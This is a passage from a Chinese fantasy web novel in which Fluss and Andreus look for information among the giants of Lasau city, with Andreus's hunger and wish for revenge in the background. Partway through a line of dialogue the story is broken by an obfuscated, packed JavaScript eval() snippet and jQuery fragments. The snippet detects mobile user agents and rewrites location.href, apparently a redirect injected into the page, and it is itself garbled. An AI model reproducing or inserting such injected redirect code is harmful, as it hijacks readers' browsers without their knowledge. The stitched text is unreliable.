“是这样吗?”安德留斯带着不甘反问道。
“走、开。”
“听凭您的吩咐,”安德留斯忽然笑了,像和她赌气一样,他的眼中有一抹无法释怀的阴郁,“我的主人。”
我太惯着他了。芙洛丝心里一下起了火。所以他才敢用这种态度和我说话,还敢来质问我。
我的心肠太软了。
安德留斯进去洗漱了,芙洛丝仔细想了想,总感觉有什么地方不对劲。
待安德留斯洗漱完,打扮齐整,两人出门。
他们向店老板打听清楚了图书室的位置,走到半路,安德留斯闷闷地说:“我渴了。”
语气像撒娇。
“我让你喝水的时候你不喝!”芙洛丝骂了一句,但还是带着他,叩响了附近一处人家的房门,“您好,我的同伴想讨点水喝。”
“异乡人啊!”房主人是个面目慈祥的女巨人,“那么,你要用什么来交换呢?我对异邦的工艺品可是很感兴趣呢。”
芙洛丝摘下手上的金镯子,两只,“你看,这个如何?”
用金镯子换一杯清水,这种匪夷所思的交换,也只有在拉撒乌城才会发生。
女巨人只看了一眼就摇头,“和我们比起来,这种手艺可差得太远了!不过,你的同伴看起来很不舒服,我就发发善心吧。”
——还差点换不着。
然而,安德留斯拿到水杯后,没有一丝要感谢的意思,还皱了下眉,“我主,你就给我喝这个?”
什么叫就给他喝这个?
芙洛丝真想当街暴揍这个人一顿。
想到碧从小教导她,不要对身边的人使用暴力,很多情况下,动手只会让事情更糟,她冷静了下来。
“喝,或者,继续忍受。你选一个。”
安德留斯将水还给了女巨人,彬彬有礼道了声谢。
芙洛丝压抑着怒火。
“对了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16811376|188729||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
”她面向女巨人,“我有件事情想向您打听一下,在拉撒乌城邦消失在众人视野的那个年代,有没有人来拜访过你们?”
没有得到有用的答案。
他们一边走,一边向城中的巨人们打听。
“如果我们分开行动的话,速度会快很多。”安德留斯道。
“不,你得跟着我。”安德留斯之前从来没提出过要喝水,也没对食物发表过“你就吃这个”的言论,她琢磨了一下,或许……是他的饥饿感压不住了。
她看着阳光下的安德留斯,他的发梢和眼睫毛都泛着金色,神态冷淡而平和,认真地听着一个巨人说话,眼中没有一丝疯狂。
好吧。也许他只是想给自己找点不痛快。
安德留斯恨透了曾被饥饿感支配的、与野兽无异的自己,这份仇恨转移到真正的背后主使,那个声音身上,燃成了滔天的怒火。
火焰支撑了他的骨架,他才能在渺无人烟的雪山上独自生存五百年。
他是为了复仇,才走上这条异想天开的道路的。
他绝不会现在就放弃绝